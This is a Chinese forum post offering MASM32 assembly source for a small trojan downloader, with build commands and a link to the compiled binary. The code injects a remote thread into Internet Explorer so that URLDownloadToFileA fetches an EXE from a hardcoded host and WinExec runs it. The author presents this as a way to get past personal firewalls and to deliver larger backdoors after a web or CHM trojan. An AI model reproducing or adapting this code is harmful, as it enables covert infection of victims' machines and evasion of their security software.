注册
登录
| 关键词： invoke OFFSET 句柄 hProcess 线程 进程 szBuffer db include PID |
大家可能都用过网页木马来下真正的EXE木马吧，但是有些时候后门比较大下载的时候常常是网页暂停或是报错（CHM木马常遇到）所以写了这个程序。。。。下载地址 http://www.chinansl.com/czy/bin.rar 程序还要改下才好用哈,不过只有2kb很小了。。。。 编绎参数:C:\masm32\BIN>type ii.batml /c /coff i.asmlink /subsystem:windows i.obj 刚才测试了一下可以逃过天网的应用程序防问网络限制金山网镖也肯定没问题。 ; #--------------------------------------# #; # Injection downloadcode in IE --> # #; # -->also it can jump personal fire wall # #; # 2004.07.15 #; # codz: czy # #; #------------------------------------------# # ;test on win2k server sp4 masm8 .386.model flat,stdcalloption casemap:none include ../include/user32.incincludelib ../lib/user32.libinclude ../include/kernel32.incincludelib ../lib/kernel32.libinclude ../include/windows.inc .datahello db '2K下建远程线程',0tit db 'IEFrame',0szFormat db 'PID是:%d',0szBuffer dd 20 dup(0),0pid dd 0hProcess dd 0hThread dd 0pCodeRemote dd 0path1 db 'c:\a.EXE',0 .constszmsg db 'URLDownloadToFileA',0userdll db 'Urlmon.dll',0;szmsg db 'MessageBoxA',0;userdll db 'User32.dll',0szloadlib db 'LoadLibraryA',0 ;注意和LoadLibraryW的区别哟kerdll db 'kernel32.dll',0 .codecodebegin:dispdata db "http://192.168.0.5/NBTreeList.exe",0szTit db "c:\a.exe",0datalen =$-codebeginRproc proc msgbox ;MessageBoxA的地址为参数CALL @F ;push esi@@:POP EBXSUB EBX,OFFSET @BLEA ECX,[EBX+dispdata]LEA EDX,[EBX+szTit]push NULLpush 0push edxpush ecxpush NULLcall msgboxret ;重要Rproc endpcodelen =$-codebegin ;代码长度xx字节 start: ;invoke FindWindow,0,offset tit ;返回计算器窗口句柄invoke FindWindow,offset tit,0invoke GetWindowThreadProcessId,eax,offset pid ;计算机器程序的进程PID号;invoke wsprintf,offset szBuffer,offset szFormat,pid ;把PID用十进制显示invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid ;打开进程,得到进程句柄 mov hProcess,eax ;保存进程句柄 invoke VirtualAllocEx,hProcess,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE mov pCodeRemote,eaxinvoke WriteProcessMemory,hProcess,pCodeRemote,offset codebegin,codelen,NULL mov esi,pCodeRemoteadd esi,datalen push esiinvoke LoadLibrary,offset userdllinvoke GetProcAddress,eax,offset szmsgpop esiinvoke CreateRemoteThread,hProcess,0,0,esi,eax,0,0 mov hThread,eax ; 返回线程句柄.if hThreadinvoke WaitForSingleObject,hThread, INFINITE ;等待线程结束invoke CloseHandle,hThread ;关闭线程句柄.endif invoke VirtualFreeEx,hProcess,pCodeRemote,codelen,MEM_RELEASE ;释放空间invoke CloseHandle,hProcess ;关闭进程句柄invoke WinExec,offset path1,SW_SHOW ;以正常方式执行下载的木马。。到时候改一下就没窗口了。。;invoke MessageBoxA,0,offset szBuffer,offset szBuffer,1invoke ExitProcess,0 end start |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
